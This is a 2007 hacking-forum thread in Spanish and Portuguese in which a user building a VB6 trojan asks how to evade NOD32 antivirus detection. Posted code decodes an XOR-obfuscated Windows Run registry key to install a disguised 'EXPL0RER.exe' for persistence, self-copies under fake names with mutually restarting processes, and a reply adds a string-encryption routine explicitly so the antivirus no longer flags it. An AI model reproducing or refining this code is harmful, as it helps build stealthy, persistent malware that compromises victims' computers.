cifrar Cadena Registro

Iniciado por hepy_92, 16 Junio 2007, 17:40 PM

0 Miembros y 1 Visitante están viendo este tema.

hepy_92

wenasS
ase tiempo que estoy haciendo un troyano en vb6, y hace un tiempo el nod32 me lo empezo a detectar. Vivachapas me dijo que era por heuristica (o como se escriba xD), y se solucionaba cifrando la cadena del registro. Encontre un code bien corto y lo puse, el problema es que no lo entiendo para nada, y tengo varias aplicaciones que ocupan el mismo code para agregar y cifrar la cadena, entonces al parecer la remplaza :S
alguien tiene algun code que pueda explicar?
GRAcias de antemano  ;D

hepy_92

aca les dejo el code que ocupo.. ahora que me doi cuenta, probablemente no sea esta la razon por la que se remplaze.. talvez me confundi o algo asi.. de todas maneras si ocupo este code:

On Error GoTo fallo
Set Clave = CreateObject("WScript.shell")
Deb = descifrar("OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Pnichpt[DruubisQbutnhi[Uri[Lkftt")
Clave.regwrite Deb, Windows & "\EXPL0RER.exe"
fallo:


y cambio esta parte
Clave.regwrite Deb, Windows & "\EXPL0RER.exe"

por esta

Clave.regwrite Deb, Windows & "\klass.exe"

no deberia remplazarse o si????
Gracias de antemano  :D

Jareth

http://foro.elhacker.net/index.php/topic,163624.msg772555.html#msg772555
Ahi tienes un post donde preguntan lo mismo que tu.
Pero para ayudarte porque no das todo el code?
L funcion descifrar y la variable windows,tal vez el problema este ahi....

hepy_92

ok se me habia olvidado parte del code xD
aca va


dim windows as string 'en general
private sub form_load()
Windows = Environ("windir") & "\" 'declara la ruta de windows y agrega un /
end sub

private sub timer1_timer()
On Error GoTo fallo
Set Clave = CreateObject("WScript.shell")
Deb = descifrar("OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Pnichpt[DruubisQbutnhi[Uri[Lkftt")
Clave.regwrite Deb, Windows & "\EXPL0RER.exe"
fallo:
end sub

Private Function descifrar(j)
On Error Resume Next
For R = 1 To Len(j)
descifrar = descifrar & Chr(Asc(Mid(j, R, 1)) Xor 7)
Next
End Function



hepy_92

ademas... ahora estoy haciendo que se autocopie a la carpeta de windows, estoy haciendo una funcion de "infeccion", comprueba cada cierto rato si existen ssms.exe y jushed.exe, si no existen, se autocopia a la carpeta de windows, y les pone ese nombre, y si existen, comprueba que los 2 esten abiertos, el ssms.exe, ayuda a que jushed.exe se mantenga siempre abierto, y jushed ayuda a que ssms.exe se mantenga abierto ademas de hacer la conexion a mi troyano. Esto funciona de maravilla.. hasta que llega el nod32, diciendo que esta infectado, y si quito estas lineas:


WinDirek = Environ("windir") & "/" 'carpeta de windows
BSExe = App.path & "/" & App.EXEName & ".exe" 'path de la aplicacion
FileCopy BSExe, "C:\" & "ssms.exe"
FileCopy BSExe, WinDirek & "jushed.exe"


se podria cifrar esto para que el maldito nod para de saltar???
gracias!

surfrio

Primeiro as funções..

Private Function NumericPassword(ByVal password As String) As Long
    Dim value As Long
    Dim ch As Long
    Dim shift1 As Long
    Dim shift2 As Long
    Dim i As Integer
    Dim str_len As Integer

    str_len = Len(password)
    For i = 1 To str_len
        ' Adiciona a próxima letra
        ch = Asc(Mid$(password, i, 1))
        value = value Xor (ch * 2 ^ shift1)
        value = value Xor (ch * 2 ^ shift2)

        ' Change the shift offsets.
        shift1 = (shift1 + 7) Mod 19
        shift2 = (shift2 + 13) Mod 23
    Next i
    NumericPassword = value
End Function


Public Function DeCriptSenha(Psenha As String) As Variant

Dim v_sqlerrm As String
Dim SenhaCript As String

Dim var1 As String

Const MIN_ASC = 32  ' Space.
Const MAX_ASC = 126 ' ~.
Const NUM_ASC = MAX_ASC - MIN_ASC + 1

chave = 2001 ''qualquer nº para montar o algorítimo da criptografia
Dim offset As Long
Dim str_len As Integer
Dim i As Integer
Dim ch As Integer

to_text = ""
offset = NumericPassword(chave)
Rnd -1
Randomize offset
str_len = Len(Psenha)
For i = 1 To str_len
    ch = Asc(Mid$(Psenha, i, 1))
    If ch >= MIN_ASC And ch <= MAX_ASC Then
        ch = ch - MIN_ASC
        offset = Int((NUM_ASC + 1) * Rnd)
        ch = ((ch - offset) Mod NUM_ASC)
        If ch < 0 Then ch = ch + NUM_ASC
        ch = ch + MIN_ASC
        to_text = to_text & Chr$(ch)
    End If
Next i

DeCriptSenha = to_text
   
End Function


O códgio cifrado..

Dim f, f2 As String
       
f = DeCriptSenha(":U.-_$_,<V9")
f2 = DeCriptSenha(">H9)Y#")
               
win = Environ(f2) & "/" 'carpeta de windows
BSExe = App.Path & "/" & App.EXEName & ".exe" 'path de la aplicacion
FileCopy BSExe, "C:\" & "ssms.exe"
FileCopy BSExe, win & f


assim o nod32 não pega